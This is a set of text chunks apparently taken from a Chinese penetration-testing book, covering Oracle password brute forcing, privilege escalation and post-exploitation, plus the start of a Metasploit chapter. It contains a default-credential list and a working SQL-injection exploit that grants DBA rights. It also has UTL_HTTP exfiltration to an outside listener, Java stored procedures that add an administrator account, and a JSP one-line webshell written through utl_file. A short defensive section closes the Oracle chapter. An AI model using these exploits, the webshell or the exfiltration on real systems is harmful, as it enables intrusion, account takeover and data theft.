    {"text": "在 Oracle 中，只需在客户端选择需要的服务器，然后使用账 号与密码登录即可。 Oracle 不能自动列举网内的服务器，需要通过读取 TNS 配置文件才能列出经过 配置的服务器名，配置文件名一般为“tnsnames.ora”，默认路径为“%ORACLE_HOME%\\network\\ admin\\tnsnames.ora”。 在 Oracle 的登录过程中，需要 Oracle 服务器地址、端口、SID、用户名、密码，端口默认为 1521， 很多信息可以通过 NMap 等扫描工具扫描获得。"},
    {"text": "常见的 Oracle 客户端管理工具有 SQL*Plus、PL/SQL Developer 和 Navicat for Oracle。 1．SQL*Plus SQL*Plus 是与 Oracle 数据库进行交互的客户端工具，借助 SQL*Plus 可以查看、修改数据库记 录。 在 SQL*Plus 中，可以运行 SQL*Plus 命令与 SQL 语句。 在 Windows 下安装 Oracle 后，会默认 安装 SQL*Plus，运行后如图 6-5 所示。 图 6-5 SQL*Plus 管理工具 327 网络攻防实战研究：漏洞利用与提权 2．PL/SQL Developer PL/SQL Developer 是一个集成开发环境，由 Allround Automations 公司开发，专门面向 Oracle 数 据库存储的程序单元。 如今，越来越多的商业逻辑和应用逻辑转向了 Oracle Server，因此，PL/SQL 编程也成了整个开发过程的一个重要组成部分。 PL/SQL Developer 侧重于易用性、代码品质和生产 力，充分发挥了 Oracle 应用程序开发过程中的主要优势。"},
    {"text": "web = (DESCRIPTION = (ADDRESS_LIST = (ADDRESS = (PROTOCOL = TCP)(HOST = 192.168.31.128)(PORT = 1521)) ) (CONNECT_DATA = (SERVICE_NAME = web) ) ) 打开 PL/SQL Developer，如图 6-7 所示，输入用户名和密码，将“数据库”配置为“web”，单 击“确定”按钮，即可登录。"},
    {"text": "3．Navicat for Oracle Navicat 是一套快速、可靠且价格相当便宜的数据库管理工具，专为简化数据库的管理及降低系 统管理成本而开发。 除了 Oracle 的核心功能外，Navicat for Oracle 提供了丰富的增强功能，包括数 据模型工具、数据或结构同步、导入或导出、报表，令维护数据的进程更容易。"},
    {"text": "Navicat for Oracle 能连接 8i 及以上版本的 Oracle 数据库服务器，支持 Amazon RDS 和 Oracle Cloud 等云数据 库，并支持大部分最新版本的 Oracle 对象功能，包括目录、表空间、同义词、实体化视图、触发器、 序列、类型等，下载地址为 https://www.navicat.com.cn/download/navicat-for-oracle。"},
    {"text": "图 6-7 PL/SQL Developer 登录界面 图 6-8 利用 PL/SQL Developer 管理 Oracle 数据库 图 6-9 Navicat 8 for Oracle 6.1.3 Oracle 权限介绍 Oracle 中的权限分为两类。"},
    {"text": "实体权 限是指某种权限的用户对其他用户的表或视图的存取权限，是针对表或者视图而言的，例如 select、 update、insert、delete、alter、index、all，其中 all 包含所有的实体权限。"},
    {"text": "6.1.4 PL/SQL 介绍 PL/SQL 也是一种程序语言，叫作过程化 SQL 语言（Procedural Language/SQL）。 PL/SQL 是 Oracle 数据库对 SQL 语句的扩展，在普通 SQL 语句的使用上增加了编程语言的特点，所以，PL/SQL 就是把数据操作和查询语句组织在 PL/SQL 代码的过程性单元中，通过逻辑判断、循环等操作实现 复杂的功能或者计算的程序语言。"},
    {"text": "BLAKE：PAPER CLARK：CLOTH CTXSYS：CTXSYS DBSNMP：DBSNMP DMSYS：DMSYS JONES：STEEL LBACSYS：LBACSYS MDDATA：MDDATA MDSYS：MDSYS MTSSYS：MTSSYS OLAPSYS：MANAGER ORDPLUGINS：ORDPLUGINS ORDSYS：ORDSYS OUTLN：OUTLN SAMPLE：SAMPLE SCOTT：TIGER SI_INFORMTN_SCHEMA：SI_INFORMTN_SCHEMA SYS：CHANGE_ON_INSTALL SYSMAN：CHANGE_ON_INSTALL SYSTEM：MANAGER 如果启用了默认的账户或者设置了弱口令，数据库极易被暴力破解。"},
    {"text": "6.2 Oracle 口令破解 对 Oracle 实施暴力猜解的工具很多，本节主要介绍 Metasploit 及 odat 的使用。 330 第 6 章 Oracle 漏洞利用与提权 6.2.1 利用 Metasploit 暴力猜解 Oralce 数据库 1．Metasploit 介绍 Metasploit（简称“MSF”）中包含大量攻击 Oracle 的模块。"},
    {"text": "启动 Metasploit，执行“search oracle”命令，可以看到用 来攻击 Oracle 的所有模块，如图 6-10 所示。 图 6-10 MSF 中的 Oracle 测试模块 由于 Kali Linux 在默认情况下没有配置 Oracle 环境，所以在使用 Metasploit 攻击 Oracle 时会报 以下错误。 [-] Failedto load the OCI library: cannot load such file -- oci8 [-] See http://www.metasploit.com/redmine/projects/framework/wiki/OracleUsage for installation instructions [*] Auxiliary module execution completed 在实施攻击前，应配置 MSF 支持 Oracle。"},
    {"text": "到 Oracle 的官网（http://www.oracle.com/technetwork/database/features/instant-client/index-097480. html）下载如下 3 个 Client 文件。 oracle-instantclient-basic-10.2.0.4-1.i386.zip oracle-instantclient-devel-10.2.0.4-1.i386.zip oracle-instantclient-SQL*Plus-10.2.0.4-1.i386.zip 用 unzip 命令解压后，执行如下命令。 cd instantclient_10_2/ ln -s libclntsh.so.10.1 libclntsh.so cd instantclient_10_2/ echo \"export PATH=$PATH:/opt/oracle/instantclient_10_2\" >> /root/.bashrc echo \"export SQLPATH=/opt/oracle/instantclient_10_2\" >> /root/.bashrc echo \"export TNS_ADMIN=/opt/oracle/instantclient_10_2\" >> /root/.bashrc echo \"export LD_LIBRARY_PATH=/opt/oracle/instantclient_10_2\" >> /root/.bashrc echo \"export ORACLE_HOME=/opt/oracle/instantclient_10_2\" >> /root/.bashrc 331 网络攻防实战研究：漏洞利用与提权 export LD_LIBRARY_PATH=/opt/oracle/instantclient_10_2 export PATH=/opt/metasploit/ruby/bin:$PATH wget https://github.com/kubo/ruby-oci8/archive/ruby-oci8-2.1.8.zip unzip ruby-oci8-2.1.8.zip cd ruby-oci8-ruby-oci8-2.1.8/ make make install 运行 SQL*Plus，出现如图 6-11 所示的界面，表示安装成功。"},
    {"text": "在 Metasploit 中通过执行“use auxiliary/scanner/oracle/sid_brute”命令调用 sid_brute 模块，利用 info 命令可查看此模块的介绍及使用帮助，主要配置 RHOSTS、RPORT、SID_FILE 参数（分别指远 程数据库 IP 地址、数据库端口、用来实现 SID 猜解的字典）。 此处配置 RHOSTS 为 192.168.31.128， RPORT 为 1521 端口及 SID_FILE 采用默认字典，字典文件为/usr/share/metasploit-framework/data/ wordlists/sid.txt，如图 6-12 所示。"},
    {"text": "图 6-12 配置 sid_brute 模块 图 6-13 猜解 SID 成功 332 第 6 章 Oracle 漏洞利用与提权 3．用户名和密码的猜解 猜解到 SID 后，利用 Metaploit 的 use auxiliary/scanner/oracle/oracle_login 模块，对数据库的用户 名和密码进行猜解。"},
    {"text": "图 6-14 oracle_default_userpass.txt 文件内容 此处依旧采用上文的测试环境，配置 RHOSTS 为 192.168.31.128，RPORT 为 1521 端口，SID 为 “WEB”，字典文件采用默认字典。"},
    {"text": "图 6-15 配置 oracle_login 模块 图 6-16 oracle_login 猜解用户成功 6.2.2 利用 odat 暴力猜解 Oralce 数据库 odat（Oracle Database Attackingtool）是一款开源的安全渗透测试工具，采用 Python 脚本语言开 发，可以帮助安全测试人员对 Oracle 数据库进行远程安全测试。"},
    {"text": "odat 使用“git clone https://github.com/quentinhardy/odat.git”命令安装。 odat 安装完成后，需要 使用“pip install cx_Oracle”命令安装 cx_Oracle。"},
    {"text": "如图 6-17 所示，其功能主要有 SID 字 典攻击、登录账户字典攻击测试、执行系统命令、下载服务器文件、上传文件、执行操作系统命令、 端口扫描等。"},
    {"text": "图 6-17 odat 帮助信息 1．利用 odat 猜解 SID 利用 sidguesser 参数可对 SID 进行猜解。 执行“./odat.py sidguesser -s 192.168.31.128”命令，猜 解后获得 SID 为“WEB”，如图 6-18 所示。 图 6-18 用 odat 猜解 SID 成功 2．利用 odat 猜解用户名和密码 利用 odat 的 passwordguesser 参数，可以对 Oracle 的用户名和密码进行猜解。 执行“./odat.py passwordguesser -s 192.168.31.128 -d web”命令，猜解结果如图 6-19 所示。 图 6-19 用 odat 猜解用户成功 334 第 6 章 Oracle 漏洞利用与提权 odat 在猜解时，默认加载的字典文件为 accounts/accounts.txt。"},
    {"text": "在实际的渗透测试中，可根据获 得的目标系统信息、已获得的其他系统口令等情况，利用字典生成器生成对应的字典内容，并将其 添加到 accounts.txt 文件中。"},
    {"text": "Orabrute 的原理很简单，就是不停地调用 SQL*Plus 进行登录验证，账户为 SYS，密码为 password.txt 中的密码单词。 只要登录成功，就会调用 selectpassword.sql 脚本抓取 SYS.USER$表中其 他用户的哈希值，然后退出程序。"},
    {"text": "orabrute.exe 192.168.31.128 1521 web 5 返回结果如图 6-22 所示，成功猜解出 Oracle 弱口令。 335 网络攻防实战研究：漏洞利用与提权 图 6-22 成功猜解用户 6.2.4 通过数据库配置文件获取 Oracle 口令 1．查看数据库配置文件 在渗透测试过程中，攻击者在获得站点的 WebShell 权限或利用任意文件下载等漏洞后，可通过 查看数据库连接文件获取数据库连接信息。"},
    {"text": "如果站点是采用 Sprint 框架开发的，可通过查看 WEB-INF\\spring 下的 spring-dao.xml 文件获取 Oracle 的连接信息，如图 6-23 所示。 图 6-23 获取连接信息 采用 Hibernate 框架开发的站点，可通过查看 WEB-INF\\classes 下的 database.properties 获得数据 库连接信息，如图 6-24 所示。 图 6-24 查看数据库连接信息 336 第 6 章 Oracle 漏洞利用与提权 此外，还可通过查看 WEB-INF 目录下的文件获取数据库连接信息，常见文件如下。 applicationContext-util.xml applicationContext.xml struts-config.xml web.xml server.xml tomcat-users.xml hibernate.cfg.xml database_pool_config.xml hibernate.cfg.xml struts-config.xml dbconfig.properties spring.properties dbconfig.properties 2．反编译 class 文件 数据库连接信息被编译成 class 文件后，需要将 class 文件反编译成 Java 源文件。"},
    {"text": "图 6-25 反编译 class 文件 337 网络攻防实战研究：漏洞利用与提权 6.3 通过注入存储过程提升数据库用户权限 本节介绍如何通过注入存储过程提升数据库用户权限。"},
    {"text": "6.3.1 原理介绍 在 Oracle 中，存储过程（Stored Procedure）是大型数据库系统中的一组用于完成特定功能的 SQL 语句集，编译后存储在数据库中，用户通过指定存储过程的名字并给出参数（如果该存储过程 带有参数）来执行它。"},
    {"text": "CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2) AS TYPE C_TYPE IS REF CURSOR; CV C_TYPE; BUFFER VARCHAR2(200); BEGIN DBMS_OUTPUT.ENABLE(1000000); OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE OWNER = ''' || P_OWNER || ''' AND OBJECT_TYPE=''LIBRARY'''; LOOP FETCH CV INTO buffer; DBMS_OUTPUT.PUT_LINE(BUFFER); EXIT WHEN CV%NOTFOUND; END LOOP; CLOSE CV; END; / GRANT EXECUTE ON LIST_LIBRARIES TO PUBLIC; 因为传入的 P_OWNER 参数直接带入了 SQL 语句，导致这个存储过程中出现了 SQL 注入。"},
    {"text": "而 且，由于是 SYS 定义的，默认存储过程的权限继承的是自定义者的权限而不是调用者的权限，所以， 我们可以利用这个存储过程中的 SQL 注入访问 SYS 的表空间，命令如下。"},
    {"text": "6.3.2 手工注入 SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE _SUBSCRIPTION 提升权限 在 SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 中，存在 SQL 注入，将导致提 权，对应漏洞编号为 CVE-2005-4832，影响版本有 Oracle Database Server 9i-9.2.0.5/10g-10.1.0.4。"},
    {"text": "建 立用户 fjhh，授予其 CREATE SESSION 及 CREATE PROCEDURE 权限，执行如下命令，结果如图 6-26 338 第 6 章 Oracle 漏洞利用与提权 所示。 create user fjhh identified by wangkun grant CREATE SESSION,CREATE PROCEDURE to fjhh 图 6-26 创建用户 fjhh 并授予其权限 使用 fjhh 用户登录后，执行“SELECT * FROM SESSION_PRIVS； ”命令，如图 6-27 所示，仅 有 CREATE SESSION 及 CREATE PROCEDURE 权限。 图 6-27 查看当前登录用户 fjhh 的权限 接下来，创建函数 pwn，命令为“grant dba to fjhh”，并赋权此函数的执行权限为所有用户，具 体如下。 create or replace function pwn return varchar2 authid current_user is pragma autonomous_transaction; begin execute immediate 'grant dba to fjhh'; return ''; end; / grant execute on pwn to public; / 339 网络攻防实战研究：漏洞利用与提权 注入 sys.dbms_cdc_subscribe.activate_subscription，命令如下。 begin sys.dbms_cdc_subscribe.activate_subscription('''||fjhh.pwn()||'''); end; / set role dba; 执行过程如图 6-28 所示。"},
    {"text": "图 6-29 查看当前用户 fjhh 的权限 340 第 6 章 Oracle 漏洞利用与提权 6.3.3 利用 Metasploit 实施注入 针对上文的漏洞，Metasploit 中也有对应的攻击模块，具体利用模块路径为 auxiliary/sqli/oracle/ dbms_cdc_subscribe_activate_subscription。"},
    {"text": "执行“use auxiliary/sqli/oracle/dbms_cdc_subscribe_activate_subscription”命令加载此模块后，输 入“info”命令可查看当前模块的帮助信息，如图 6-30 所示。"},
    {"text": "1．JSP 连接 Oracle JSP 连接 Oracle 数据库，主要是通过 JDBC 技术，先加载驱动类，然后连接 URL，输入用户名 和密码，打开数据库连接资源。 此处数据库服务器为本机，IP 地址为 192.168.31.128，端口为 1521， 342 第 6 章 Oracle 漏洞利用与提权 SID 为“WEB”，用户名和密码都为“system”，服务器上安装了 Tomcat 5.5，在 Web 目录下默认为 “C:\\Program Files\\Apache Software Foundation\\Tomcat 5.5\\webapps\\ROOT”。"},
    {"text": "<%@ page language=\"java\" import=\"java.util.*\" pageEncoding=\"utf-8\"%> <%@ page import=\"java.sql.*\" %> <html> <head> <title>连接 oracle10g 的测试页面</title> </head> <body> <% String id = request.getParameter(\"id\"); try{ Class.forName(\"oracle.jdbc.driver.OracleDriver\").newInstance(); String url=\"jdbc:oracle:thin:@192.168.31.128:1521:web\"; String user=\"system\"; String password=\"system\"; Connection conn=DriverManager.getConnection(url,user,password); Statement stmt=conn.createStatement(); String sql=\"select * from PointAction_cjy where id =\"+id; ResultSet rs=stmt.executeQuery(sql); %> <table border=\"1\"> <tr> <td>序号</td> <td>名称</td> <td>描述</td> </tr> <% while(rs.next()) { out.print(\"<tr><td>\"+rs.getString(1)+\"</td>\"); out.print(\"<td>\"+rs.getString(2)+\"</td>\"); out.print(\"<td>\"+rs.getString(4)+\"</td></tr>\"); } rs.close(); stmt.close(); conn.close(); }catch(SQLException e){ out.print(e.getMessage()); } %> </table> </body> 343 网络攻防实战研究：漏洞利用与提权 </html> 访问 http://192.168.31.128:8080/show.jsp?id=4，如图 6-34 所示，JSP 成功连接 Oracle。"},
    {"text": "当前连接用户：select SYS_CONTEXT ('USERENV'，'CURRENT_USER') from dual。 查询列名中包含“user”的表：SELECT owner， table_name FROM all_tab_columns WHERE column_name LIKE '%PASS%'；"},
    {"text": "3．Oracle 注入漏洞的挖掘 对 Oracle 注入漏洞，可以通过工具扫描和手工测试的方式来挖掘，常用的扫描工具有 Acunetix Vulnerability Scanner、IBM Rational AppScan、w3af 等。"},
    {"text": "6.4.2 利用超级 SQL 注入工具实施 SQL 注入 超级 SQL 注入工具（SSQLInjection）是一款基于 HTTP 协议自组包的 SQL 注入工具，支持出 现在 HTTP 协议任意位置的 SQL 注入、各种类型的 SQL 注入及 HTTPS 注入。"},
    {"text": "图 6-35 利用超级 SQL 注入工具进行注入 6.4.3 利用 sqlmap 实施 SQL 注入 1．sqlmap 介绍 sqlmap 是一个自动化的 SQL 注入工具，其主要功能是通过扫描发现并利用给定的 URL 的 SQL 注入漏洞，目前支持的数据库有 MSSQL、MySQL、Oracle 和 PostgreSQL。"},
    {"text": "基于布尔的盲注，即可以根据返回页面判断条件真/假的注入。 基于时间的盲注，即不能根据页面返回内容判断任何信息，而要用条件语句查看时间延迟语 句是否执行（即页面返回时间是否增加）来判断。 基于报错注入，即页面会返回错误信息，或者把注入的语句的执行结果直接返回到页面。"},
    {"text": "可以提供一个简单的 URL、Burp 或 WebScarab 请求日志文件，通过文本文档中 的完整 HTTP 请求或者 Google 搜索匹配出结果页面，也可以自己定义一个正则表达式来判断用哪个 地址进行测试。"},
    {"text": "图 6-36 利用 sqlmap 进行注入 6.4.4 利用 utl_http.request 存储过程实施反弹注入攻击 在 Oracle 中提供了 utl_http.request 包函数，用于取得返回的 Web 服务器的请求信息，因此，攻 击者可以自己监听端口，然后通过这个函数调用请求将需要的数据返回。 正是由于 Oracle 中提供了 丰富的包、函数及存储过程，所以即使只有一个注射点，攻击者也可以在 Oracle 中做很多事（包括 权限允许和权限不允许的）。 在页面无法回显的情况下，攻击者可以利用此包将数据反弹到外网 IP 地址来查看，实现对 Oracle 的攻击，从而获得敏感数据或权限。"},
    {"text": "http://192.168.31.128:8080/show.jsp?id=4 and (select count(*) from all_objects where object_name='UTL_HTTP') is not null 如果页面返回正常，则说明 UTL_HTTP 存储过程可用，返回结果如图 6-37 所示。"},
    {"text": "346 第 6 章 Oracle 漏洞利用与提权 图 6-37 探测 UTL_HTTP 存储过程是否可用 2．监听本地端口 在本地用 nc 监听一个端口，要求本地主机拥有一个外网 IP 地址。"},
    {"text": "http://192.168.31.128:8080/show.jsp?id=4 and UTL_HTTP.request('http://192.168.31.1:6941/'||(select banner from sys.v_$version where rownum=1))=1-- 执行命令后，在 nc 监听窗口中就会返回注入查询结果，如图 6-38 所示。"},
    {"text": "6.4.5 利用 dbms_xmlquery.newcontext()函数进行服务器提权 在 Oracle 9i 到 11g R2 中，至少发现了两个函数可以被 public 用来执行任意 PL/SQL 语句，分别 是 dbms_xmlquery.newcontext()和 dbms_xmlquery.getxml()。"},
    {"text": "攻击者利用上文介绍的方法可获取数据库中的所有敏感数据，利用 dbms_xmlquery.newcontext() 函数可获得 Oracle 服务器的操作系统权限，执行任意命令。"},
    {"text": "1．创建 Java 包 创建命令如下，如图 6-39 所示。 http://192.168.31.128:8080/show.jsp?id=4 and (select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace and resolve java source named JAVACMD as import java.lang.*;import java.io.*;public class JAVACMD{public static void execmd(String command) throws IOException{Runtime.getRuntime().exec(command);}} ''; commit; end;') from dual) is not null 图 6-39 创建 Java 包 2．创建存储过程 MYJAVACMD 创建命令如下，如图 6-40 所示。 http://192.168.31.128:8080/show.jsp?id=4and (select dbms_xmlquery.newcontext ('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate ''create or replace procedure MYJAVACMD(command in varchar) as language java name ''''JAVACMD.execmd(java.lang.String)''''; ''; commit;end;') from dual) is not null 图 6-40 创建存储过程 348 第 6 章 Oracle 漏洞利用与提权 3．执行存储过程 命令如下，如图 6-41 所示。 http://192.168.31.128:8080/show.jsp?id=4and (select dbms_xmlquery.newcontext ('begin myjavacmd(''net user fjhh wangkun /add'') ;commit;end;') from dual) is not null 图 6-41 执行存储过程 用户 fjhh 添加成功，如图 6-42 所示。 图 6-42 建立用户 fjhh 6.5 在 Oracle 上利用 Java 执行命令 本节介绍如何在 Oracle 上利用 Java 执行命令。 6.5.1 原理介绍 在获得 dba 权限后，可以通过创建 Java source 的方式，进行系统文件读写、执行系统命令、反 弹 Shell 操作。"},
    {"text": "这里主要用到了 Runtime.getRuntime().exec()函数。 Linux 的/bin/bash 与 Windows 的 cmd.exe 对 Runtime.getRuntime().exec()函数的利用方法存在差异。 Runtime.getRuntime().exec()函数共有 6 个重载方法。"},
    {"text": "public Process exec(String command)：在单独的进程中执行指定的字符串命令。 public Process exec(String [] cmdArray)：在单独的进程中执行指定的命令和变量。 349 网络攻防实战研究：漏洞利用与提权 public Process exec(String command, String [] envp)：在指定环境的独立进程中执行指定的命 令和变量。 public Process exec(String [] cmdArray, String [] envp)：在指定环境的独立进程中执行指定的 命令和变量。 public Process exec(String command, String[] envp, File dir)：在有指定环境和工作目录的独立 进程中执行指定的字符串命令。 public Process exec(String[] cmdarray, String[] envp, File dir)：在指定环境和工作目录的独立进 程中执行指定的命令和变量。"},
    {"text": "String[] cmd=new String[3]; cmd[0]=\"/bin/bash\"; cmd[1]=\"-c\"; cmd[2]=args; Runtime.getRuntime().exec(cmd); 这样就可以获得一个非交互式的 Shell 了。"},
    {"text": "但是，就日常对 cmd 命令的使用来说，即使在执行其他可执行文件时出现这种情 况，例如出现 systeminfo 或者 whoami 命令（system32 下的可执行文件），也不会出现将“cmd /c” 与“cmd /c start”这两种执行方式混为一谈的情况。"},
    {"text": "CREATE OR REPLACE AND RESOLVE Java SOURCE NAMED \"JAVACMD\" AS import java.lang.*; import java.io.*; public class JAVACMD { public static void execCommand (String command) throws IOException { Runtime.getRuntime().exec(command); } }; / CREATE OR REPLACE PROCEDURE JAVACMDPROC (p_command IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVACMD.execCommand (java.lang.String)'; / exec javacmdproc('cmd.exe /c net user fjhh wangkun /add'); exec javacmdproc('cmd.exe /c net localgroup administrators fjhh /add'); 用户 fjhh 添加成功，如图 6-44 所示。"},
    {"text": "350 第 6 章 Oracle 漏洞利用与提权 图 6-43 利用 Java 执行命令 图 6-44 成功添加用户 6.5.3 在 Oralce 10g 上利用 Java 执行命令 在获得 Oracle 的 SQL*Plus 权限后（例如，通过 6.2 节介绍的方法获得了 Oracle 的用户名、密码 及 SID 信息），可将以下内容分别保存为 1.txt、2.txt、3.txt，依次执行创建 Java、创建函数、创建过 程的操作。"},
    {"text": "create or replace and compile java souRCe named \"util\" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer, 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } 351 网络攻防实战研究：漏洞利用与提权 finally { return RC; } } } c:\\2.txt 的内容如下。 create or replace function RUN_CMz(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; c:\\3.txt 的内容如下。 create or replace procedure RC(p_cmd in varChar) as x number; begin x := RUN_CMz(p_cmd); end; 利用 SQL*Plus 登录后，依次执行上文的 txt 文件，如图 6-45 所示。 SQL> @c:\\1.txt / @c:\\2.txt / @c:\\3.txt / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; 图 6-45 执行命令 352 第 6 章 Oracle 漏洞利用与提权 利用建立的 run_cmz 函数执行如下命令，如图 6-46 所示。"},
    {"text": "exec :x:=run_cmz('net user fjhh wangkun /add'); exec :x:=run_cmz('net localgroup administrators fjhh /add'); 用户添加成功，如图 6-47 所示。"},
    {"text": "create or replace directory getshell_dir as 'C:/Program Files/Apache Software Foundation/Tomcat 5.5/webapps/ROOT/'; declare frw utl_file.file_type; begin frw:=utl_file.fopen('GETSHELL_DIR','fjhh.jsp','w'); utl_file.put_line(frw,'<%if(request.getParameter(\"f\")!=null)(new java.io.FileOutputStream(application.getRealPath(\"\\\\\")+request.getParameter(\"f\") )).write(request.getParameter(\"t\").getBytes());%>'); utl_file.fclose(frw); end; 353 网络攻防实战研究：漏洞利用与提权 图 6-48 JSP 一句话 WebShell 利用 JSP 一句话木马连接端进行连接，如图 6-49 所示。 图 6-49 利用 JSP 一句话木马 通过 JSP 一句话木马连接端，可以上传功能丰富的 WebShell 木马。"},
    {"text": "图 6-51 exp 使用帮助 全库方式：导出数据库中所有的对象，但不包括 sys 用户中的对象，即数据字典无法导出， 命令如下。 exp user/pwd@db_name full=y file=D:\\database.dmp log=D:\\database.log 用户方式：导出某用户下所有的对象，获得了授权的用户可以导出其他用户所拥有的对象。"},
    {"text": "exp user/pwd@db_name owner=(system,sys) file=D:\\owner.dmp log=D:\\owner.log 表方式：只导出某用户下指定的表，而不是所有的表，命令如下。 exp user/pwd@db_name tables=(tb1,tb2) file= D:\\table.dmp log=e:\\table.log 例如，远程导出 Oracle 服务器 system 用户下所有的对象数据，导出前应配置 tnsnames.ora 的 内容。"},
    {"text": "exp system/system@web owner=system file=c:\\all.dmp log=c:\\all.log 355 网络攻防实战研究：漏洞利用与提权 图 6-52 利用 exp 导出数据库 6.7.2 利用 PL/SQL Developer 备份数据 与 exp 相比，利用 PL/SQL Developer 可在图形化界面进行数据的备份，在备份过程中可灵活选 择只备份某个数据库或数据库表。 打开 PL/SQL Developer，登录数据库，在需要导出数据的数据库上单击，如图 6-53 所示，单击 右侧窗口中的“导出”按钮即可将数据导出为 dmp 格式。 图 6-53 导出单个数据表中的数据 6.7.3 利用 JSP 脚本备份数据库 JSP 脚本如下。"},
    {"text": "356 第 6 章 Oracle 漏洞利用与提权 String backupDir = \"C:/Program Files/Apache Software Foundation/Tomcat 5.5/webapps/ROOT/tmp/\"; String ex=\".txt\"; String driver = \"oracle.jdbc.driver.OracleDriver\"; String url = \"jdbc:oracle:thin:@192.168.31.128:1521:web\"; String username = \"system\"; String password = \"system\"; 修改后访问此页面，如图 6-54 所示，数据库备份成功。"},
    {"text": "图 6-54 备份数据库 备份的数据库信息及文件内容如图 6-55 和图 6-56 所示。 图 6-55 备份成 txt 文件 图 6-56 备份文件内容 数据备份完成后，可以使用 RAR 或 TAR 等压缩工具进行压缩。"},
    {"text": "357 网络攻防实战研究：漏洞利用与提权 图 6-57 利用 JspSpy 打包文件夹 6.8 Oracle 数据库攻击的防范方法 如何才能有效地保护数据库不受侵害，解决非法访问的监控与审计，达到《信息安全等级保护 条例》的要求，不对现有生产系统产生任何性能影响呢？"},
    {"text": "图 6-58 安全最大化体系架构的成熟度模型 358 第 6 章 Oracle 漏洞利用与提权 6.8.1 数据库安全纵深防御 1．实时审计数据库活动 如图 6-59 所示：将数据库审计线索整合到安全集的信息库中；"},
    {"text": "图 6-60 在数据库内部实施安全策略 3．对数据和用户进行分类以便实现自动访问控制 如图 6-61 所示：根据业务因素，对用户和数据进行分类；"},
    {"text": "图 6-61 对用户进行分类管理 4．防止未授权用户访问数据 对静止的应用程序数据完全加密，以防止 IT 人员或操作系统用户直接访问存储在数据库文件中 的、磁带上的、导出的数据和其他数据；"},
    {"text": "6.8.2 部署数据库防火墙 通过部署数据库防火墙，可在数据库被恶意访问、攻击，甚至遭到数据偷窃时，对数据库的访 问细节进行审计，解答诸如“谁（Who）用什么方法（What）在什么地方（Where）、什么时间（When） 对数据库做了什么事情（How）”的问题。 当数据库遭受恶意访问或攻击时，利用数据库防火墙能及时地追踪并堵截这些恶意操作，获得 足够的证据，并能有效地控制来自内部的威胁，例如特权用户修改配置、改变或偷窃数据等。 1．数据库防火墙架构 数据库防火墙是在网络层次之间设置的用于加强访问控制的软/硬件保护设施，其架构如图 6-62 所示。 图 6-62 数据库防火墙架构 数据库防火墙的部署主要有以下特点。"},
    {"text": "2．数据库防火墙功能 数据库防火墙能实现主动防御、主动安全模型、被动安全模型，并能快速灵活部署。 （1）主动防御 如图 6-63 所示：监视数据库活动，防止未授权的数据库访问、SQL 注入、权限或角色升级、对 敏感数据的非法访问等；"},
    {"text": "在主机上如果没 有管理员权限，就无法进行获取 Hash、安装软件、修改防火墙规则和修改注册表等各种操作，所以 必须将访问权限从 Guset 提升到 User，再到 Administrator，最后到 System。"},
    {"text": "提升权限的方式分为如下两类。 纵向提权：低权限角色获得高权限角色的权限。 例如，一个 WebShell 权限通过提权之后拥 有了管理员权限，那么这种提权就是纵向提权，也称作权限升级。 横向提权：获取同级别角色的权限。 例如，通过已经攻破的系统 A 获取了系统 B 的权限， 那么这种提权就属于横向提权。"},
    {"text": "本章主要内容 Ê Metasploit 提权基础知识 Ê PowerShell 渗透利用剖析 Ê getsystem 提权全解析 Ê MS16-016 本地溢出漏洞利用实战 Ê 通过 WMIC 实战 MS16-032 溢出漏洞 Ê 绕过用户控制实战 Ê 通过假冒令牌获取 Windows Server 2008 R2 域管权限 Ê 错误的 Windows 系统配置漏洞提权实战 Ê Windows 服务漏洞研究与利用 Ê AlwaysInstallElevated 提权实战演练 Ê Metasploit 下 Mimikatz 的使用 Ê 通过 Metasploit 渗透手机 Ê 移植 s2-045 漏洞利用代码模块实战 第 7 章 Metasploit 漏洞利用与提权 7.1 Metasploit 提权基础知识 本节介绍 Metasploit 提权的基础知识。"},
    {"text": "7.1.1 Metasploit 简介 Metasploit 是一个漏洞框架，它的全称是“The Metasploit Framework”，简称“MSF”。 Metasploit 作为全球最受欢迎的工具，不仅因为它的方便和强大，重要的是它的框架允许使用者开发自己的漏 洞脚本，从而进行测试。 Metasploit 的出现颠覆了已有的渗透测试方式，几乎所有流行的操作系统都支持 Metasploit，并 且 Metasploit 框架在这些系统上的工作流程也几乎是一样的。"},
    {"text": "MSF 向后端模块提供 4 种用来控制测试的接口，分别是 msfconsole、msfcli、msfgui 及 msfweb， 最流行的也是使用最多的一个接口是 msfconsole。"},
    {"text": "在命令行下输入“msfconsole”，进入 MSF 的启动界面，如图 7-1 所示。 图 7-1 MSF 的启动界面 知识点 在使用 Kali 操作系统时应及时更新源，更新命令有“apt-get update”、 “apt-get upgrade”、 “apt-get dist-upgrade”。"},
    {"text": "例如，在从 Kali Linux 1.0.1 升级到 Kali Linux 1.0.2 的过程中，不仅能够升级所有已安装的软件包，而且会处理升级过程中可能出现的软 件冲突。"},
